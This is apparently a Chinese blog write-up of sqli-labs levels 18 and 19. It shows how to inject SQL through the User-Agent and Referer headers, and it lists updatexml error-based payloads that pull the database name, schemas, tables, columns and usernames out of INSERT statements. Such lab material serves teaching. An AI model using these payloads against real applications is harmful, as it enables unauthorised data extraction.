less18 19

登录失败显示ip地址

登录成功显示ip地址和User-Agent----- 浏览器的版本

 

 

 

 如果出现密码不正确 登录不上去 可能是第17关修改了密码  解决方案 可是在17关将密码修改回来

或者在主页 重置数据库

发现有转义操作  所以不能对用户名和密码进行盲注

 

 

 

最后测试发现可以在http头部user-agent的地方注入。

 

再次执行 查看post信息,我们注入的时候考虑---ip地址和User-Agent  这俩个地址

 

插入俩句语句 再次观察

 

 

 

 

 

      INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`)

      VALUES ('Mozilla/5.0 (Windows NT 5.2; rv:17.0) Gecko/20100101 Firefox/17.0', '192.168.50.100', 'admin')   显示浏览器信息,ip地址,用户名

 

涉及到的sql语句  可以在命令行中验证对错

 

----' or updatexml(1,concat(0x7e,()),1);
----select  updatexml(1,concat(0x7e,(database())),1);

 

查当前数据库:'or updatexml(1,concat(0x7e,(database())),1) or '1'='1(注意闭合)

 

 

或者'or updatexml(1,concat(0x7e,(database())),1) ,  "   ,  "    )#   闭合sql语句    空的部分是将用户名和密码位置空出来

 

' or updatexml(1,concat(0x7e,(database())),1), '','')#
库  ' or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1), '','')#
表    ' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1), '','')#
列  ' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1), '','')#
字段   ' or updatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1), '','')#

 

less19

 

 

第19关的回显信息

 

 

 

通过insert语句 进行分析

INSERT INTO `security`.`referers` (`referer`, `ip_address`)

      VALUES ('http://192.168.50.100/sqli/Less-19/', '192.168.50.100')

分析后得知,需要进行闭合操作,两种方法:
(1)' or updatexml(1,concat(0x7e,(database())),1) and '1'=‘1
(2)‘ or updatexml(1,concat(0x7e,(database())),1), ‘’)#

 

 

 

 

 

 

 

 

 

 

 

 

 

posted @ 2020-01-27 19:19  Res0lve  阅读(147)  评论(0编辑  收藏  举报